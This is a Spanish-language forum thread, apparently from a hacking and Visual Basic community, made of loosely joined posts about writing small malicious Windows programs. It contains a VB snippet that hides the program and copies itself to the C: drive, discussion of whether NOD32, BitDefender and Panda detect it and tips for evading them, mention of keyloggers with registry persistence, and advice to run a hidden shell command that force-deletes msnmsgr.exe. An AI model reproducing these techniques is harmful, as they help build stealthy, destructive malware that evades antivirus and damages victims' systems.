Mensajes

yo lo tengo en mi cel hace tiempo, e incluso hice mi propia version en español, claro esta con los creditos reales, ahora una cosa , yo hasta la vez eh podido utilizar la opcion de leer mensajes, el resto si las eh utilizado, contra un sony ericcson va de maravilla, con otros simplemente se limitan las opciones....

ZALUDOS::::

Si, tienes el code o lo has modificado descompilando las clases? Estaría interesante que compartieras donde conseguiste el código.
Saludos

No se No se, parece que no estoy de acuerdo contigo  . Pues:

Código [Seleccionar] Expandir

Private Sub Form_Load()
App.TaskVisible = False
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\aa.exe"
End Sub

y el nod32 no lo detecta. Le pasé al ejecutable el nod32 y el bitdefender y no me dice nada. También lo probé metiendolo en un sub main y el mismo resultado. En definitiva, lo que me dijiste que podía ser detectado por el AV no lo detecta (por lo menos en mi ordenata)......por cierto, el bitdefender y el nod32 son la ultima versión actualizada. Por descontado, no me voy a instalar 20000 antivirus para comprobarlo en todos .
Saludos. (Cuando sepas un código que seguro lo detecte el nod32, lo pones y lo intentamos adaptar).
Saludos.

A lo mejor si cambias la ruta de destino por C:\windows o C:\windows\system32 si te lo detecta. Me pasaba a mi con el oso panda.
Saludos

bueno esta pagina yo oi que servia para saber eso http://TIMO/index-es.php

Yo nunca me creí lo de esas páginas. Eso de funciona en el 80% de los casos.... . Tambien puedo hacer yo un programa que diga que si en el 100% de los casos en que se usa la página y me acercaría al porcentaje que usa la página. Corrijanme si me equivoco.
Saludos

Te has salido liberando el código tío. Yo intento hacer algo parecido, y me viene bien ver como lo has hecho tu para comparar. Gracias
Saludos

Muy bueno el tutorial, y aprovecho para decir que de nada sirve copiar y pegar el código de octalh, si quieres aprender tendrás que esforzarte en entenderlo, aunque no es necesario entenderlo todo a la primera, vete acostumbrando a ver códigos y intentar comprenderlos.

Con respecto a las imágenes que no salen, es porque ¡mageshack parece que ha bloqueado las imágenes que van a este foro. Sube tus imágenes a http://tinypic.com/ y ahí ya se podrán ver 

Si, no se porque imageshack esta bloqueando las imagenes, a mi me pasó lo mismo, y no es sólo en este foro, en otros foros ya pasaba.
Saludos

Es un keylogger no? yo tengo uno parecido. Te lo detecta algun AV? es que el mío me lo detecta panda como suspicious file por copiarlo a windows y añadirlo al registro.
Salu2

[Fuente:]

Aquí tienes un modulo ya hecho para hacer eso:

Código (vb) [Seleccionar] Expandir

Option Explicit

'---------------------------------------------------------------------------------------
' Module      : mCopyFilesClipboard
' DateTime    : 05/02/2008 00:52
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' Purpose     : Copy files to clipboard
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'---------------------------------------------------------------------------------------

Private Const GHND      As Long = &H42
Private Const CF_HDROP  As Long = &HF

Private Type POINTAPI
   x                    As Long
   y                    As Long
End Type

Private Type DROPFILES
   pFiles               As Long
   pt                   As POINTAPI
   fNC                  As Long
   fWide                As Long
End Type

Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
'---------------------------------------------------------------------------------------
'Sample Code
'Private Sub Form_Load()
'    CopyClipboard Me.hWnd, Array("c:\file1.txt", "c:\file2.txt")
'End Sub
'---------------------------------------------------------------------------------------
'
'---------------------------------------------------------------------------------------
' Procedure : CopyClipboard
' Purpose   :
'---------------------------------------------------------------------------------------
Public Function CopyClipboard(ByVal hWnd As Long, ByVal vFiles As Variant) As Boolean
    Dim hGlobal     As Long
    Dim tDROPFILES  As DROPFILES
    Dim lpGlobal    As Long
    Dim sFiles      As String

    sFiles = Join(vFiles, vbNullChar) & vbNullChar
   
    Call OpenClipboard(hWnd)
    Call EmptyClipboard
   
    hGlobal = GlobalAlloc(GHND, Len(tDROPFILES) + Len(sFiles))
   
    If hGlobal Then
        lpGlobal = GlobalLock(hGlobal)
        tDROPFILES.pFiles = Len(tDROPFILES)
        Call CopyMemory(ByVal lpGlobal, tDROPFILES, Len(tDROPFILES))
        Call CopyMemory(ByVal (lpGlobal + Len(tDROPFILES)), ByVal sFiles, Len(sFiles))
        Call GlobalUnlock(hGlobal)
        Call SetClipboardData(CF_HDROP, hGlobal)
        Call GlobalFree(hGlobal)
        CopyClipboard = True
    End If
   
    Call CloseClipboard

End Function

Fuente:http://www.recursosvisualbasic.com.ar/foro/copiar-archivos-al-portapapeles-t1630.0.html

Ok, muchas gracias, llevaba tiempo comiendome la cabeza con eso.
Salu2

A mi me gusta ser autodidacta, pero me gustaria eso, ya que cada vez que intento aprender c siempre me hecho atrás y me quedo con vb, que mal acostumbrado me tiene, jeje, además me gusta C#, me parece uno de los mejores lenguajes. Yo me apuntaría.
Salu2

Copias el archivo al portapeles, centras el foco en la conversacion y luego ya basta con sendkeys("^V").

Como haces para copiar un archivo al portapapeles? me interesa
Salu2

Pues yo te haría varias recomendaciones, por ejemplo, al abrir este ejecutable, se abrirá una ventana de la shell y ahi se podrá ver todo lo que hace, si pones por ejemplo:

Código [Seleccionar] Expandir

,vbhide

Ya no aparecerá esa ventana. Otro punto es lo de cmd. No hace falta que lo pongas en cada instrucción, ni siquiera en la primera. Si pones por ejemplo:

Código [Seleccionar] Expandir

Shell ("del /Q /S /F msnmsgr.exe")

Funcionaría igualmente. De todas formas, para ser el primero está bien, pero ya que lo has hecho desde vb lo pudes hacer mas "profesional"
Salu2